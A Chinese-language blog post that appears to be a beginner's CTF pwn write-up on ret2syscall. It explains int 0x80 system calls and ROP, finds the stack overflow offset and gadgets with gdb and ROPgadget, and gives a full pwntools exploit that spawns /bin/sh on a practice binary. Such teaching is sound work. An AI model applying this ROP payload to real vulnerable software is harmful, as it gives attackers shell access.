• 【PWN】03.ret2syscall


    参考:ret2syscall_Re1own的博客-CSDN博客

    pwn小白入门05---ret2syscall_苏璃只想划水的博客-CSDN博客

    ret2syscall,即通过ROP控制程序执行系统调用,获取 shell。

    系统调用介绍

    Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数
    在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 和
        /usr/include/x86_64-linux-gnu/asm/unistd_32.h 分别可以查看 64 位和 32 位的系统调用号。

    操作系统实现系统调用的基本过程是:

    1.应用程序调用库函数(API);
    2.库函数将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
    3.内核中的中断处理函数根据系统调用号调用对应的内核函数(系统调用);
    4.系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
    5.中断处理函数返回到 API 中;
    6.API 将 EAX 返回给应用程序

    应用程序调用系统调用的过程是:

    1.把系统调用的编号存入 EAX;
    2.把函数参数存入其它通用寄存器;
    3.触发 0x80 号中断(int 0x80)。

    使用系统调用

    Linux在用int 0x80进行系统调用时,调用号存在于EAX,第一个参数存在于EBX,第二个参数存在于ECX,第三个参数存在于EDX。

    系统调用号1-11(32位):

    %eaxNameSource%ebx%ecx%edx
    1sys_exitkernel/exit.cint--
    2sys_forkarch/i386/kernel/process.cstruct pt_regs--
    3sys_readfs/read_write.cunsigned intchar *size_t
    4sys_writefs/read_write.cunsigned intconst char *size_t
    5sys_openfs/open.cconst char *intint
    6sys_closefs/open.cunsigned int--
    7sys_waitpidkernel/exit.cpid_tunsigned int *int
    8sys_creatfs/open.cconst char *int-
    9sys_linkfs/namei.cconst char *const char *-
    10sys_unlinkfs/namei.cconst char *--
    11sys_execvearch/i386/kernel/process.cstruct pt_regs--

    我们利用第11号函数execve(),我们将0xb放入eax,将指向/bin/sh的地址放入ebx,ecx与edx为空值,即execve("/bin/sh",NULL,NULL)。

    ROP原理:

    随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

    之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序,我们可以将多个gadget组合到一起,进而可以执行多条汇编指令,从而达到目的。ROP 攻击一般得满足如下条件:

        程序存在溢出,并且可以控制返回地址。
        可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

    题目:https://download.csdn.net/download/weixin_52553215/86962752

    1.查看保护

    32位,开启了NX保护,不能ret2shellcode

    2.拖入ida

    右键左边的Function name-Modify filters来搜索函数名,发现没有system可以直接调用,没法ret2text。并且发现通过puts泄露地址去猜libc也不太适用,因为程序中有它自己写的puts函数,没法泄露和计算libc的加载基地址。

    此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,我们采取使用ret2syscall即控制程序执行系统调用,获取 shell。

    那么我们如果希望通过系统调用来获取 shell ,就需要把系统调用的参数放入各个寄存器,然后执行 int 0x80 指令就可以了。

    3.寻找v4相对于ebp的偏移量

    目光投向反汇编主函数,很显然gets会导致栈溢出,接下来的任务就是寻找v4相对于ebp的偏移量。

    下面用gdb调试一下寻找到偏移量,首先断点下在gets函数,然后查看此时eaxebp的距离。

     

     计算得出v4相对于ebp的偏移量为6Ch=108字节,需要覆盖的返回地址距离v4的偏移量为108+4=112字节。

    4.寻找gadgets

    思路:通过系统调用执行:execve("/bin/sh",NULL,NULL)(32位程序)

    1. eax=execve 的系统调用号

    2. ebx=/bin/sh 的地址

    3. ecx=0

    4. edx=0

    我们需要知道execve 的系统调用号、填充eax-edx指令的地址,还需要知道 /bin/sh 字符串的地址和 int 0x80 指令的地址。

    (1)首先 eax 寄存器应该放系统调用号,查看 execve 的系统调用号:

     cat /usr/include/asm/unistd_32.h | grep execve 
    

    发现为11。

    要让eax = 0xb,那么需要找的指令是pop eax ; ret。我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,所以pop之后还需要一个ret返回到控制程序执行流。

    1. root@ubuntu:/home/lingqi/Desktop/pwn# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
    2. 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    3. 0x080bb196 : pop eax ; ret
    4. 0x0807217a : pop eax ; ret 0x80e
    5. 0x0804f704 : pop eax ; ret 3
    6. 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

    选择0x080bb196 : pop eax ; ret

    类似的,我们可以得到控制其它寄存器的 gadgets

    1. root@ubuntu:/home/lingqi/Desktop/pwn# ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
    2. 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
    3. 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
    4. 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
    5. 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
    6. 0x080be23f : pop ebx ; pop edi ; ret
    7. 0x0806eb69 : pop ebx ; pop edx ; ret
    8. 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
    9. 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    10. 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
    11. 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
    12. 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
    13. 0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
    14. 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
    15. 0x08048913 : pop ebx ; pop esi ; pop edi ; ret
    16. 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
    17. 0x08049a94 : pop ebx ; pop esi ; ret
    18. 0x080481c9 : pop ebx ; ret
    19. 0x080d7d3c : pop ebx ; ret 0x6f9
    20. 0x08099c87 : pop ebx ; ret 8
    21. 0x0806eb91 : pop ecx ; pop ebx ; ret
    22. 0x0806336b : pop edi ; pop esi ; pop ebx ; ret
    23. 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
    24. 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
    25. 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
    26. 0x0805c820 : pop esi ; pop ebx ; ret
    27. 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    28. 0x0807b6ed : pop ss ; pop ebx ; ret

    选择0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret(这个可以直接控制其它三个寄存器。)

    (2)获得 /bin/sh 字符串对应的地址:

    1. root@ubuntu:/home/lingqi/Desktop/pwn# ROPgadget --binary ret2syscall --string '/bin/sh'
    2. Strings information
    3. ============================================================
    4. 0x080be408 : /bin/sh

    (3)获得 int 0x80 的地址:

    1. root@ubuntu:/home/lingqi/Desktop/pwn# ROPgadget --binary ret2syscall --only 'int'
    2. Gadgets information
    3. ============================================================
    4. 0x08049421 : int 0x80
    5. Unique gadgets found: 1

    exp

    思路:

    代码:

    1. # encoding: utf-8
    2. from pwn import *
    3. context(os='linux', arch='i386', log_level='debug')
    4. if __name__ == '__main__':
    5. sh = process("./ret2syscall")
    6. pop_eax_ret = 0x080bb196
    7. pop_edx_ecx_ebx_ret = 0x0806eb90
    8. int_0x80 = 0x08049421
    9. binsh = 0x80be408
    10. payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
    11. sh.sendline(payload)
    12. sh.interactive()
  • 相关阅读:
    讲一讲VS Code配置GoLang语言开发环境
    Vue.js之利用element进行表单验证
    Python报错“ImportError:most likely due to a circular import“记录
    Java面向对象(基础)-- 类的成员之三:构造器(Constructor)
    2023亚太地区数学建模竞赛A题B题C题思路+模型+代码
    拓端tecdat|GIS遥感数据可视化评估:印度河流域上部的积雪面积变化
    vs中pygame窗口不显示
    linux环境下使用timeout监控命令执行超过5分钟后发送通知
    intellij debug模式提示 : Method breakpoints may dramatically slow down debugging
    揭秘LLM计算数字的障碍的底层原理
  • 原文地址:https://blog.csdn.net/weixin_52553215/article/details/127814823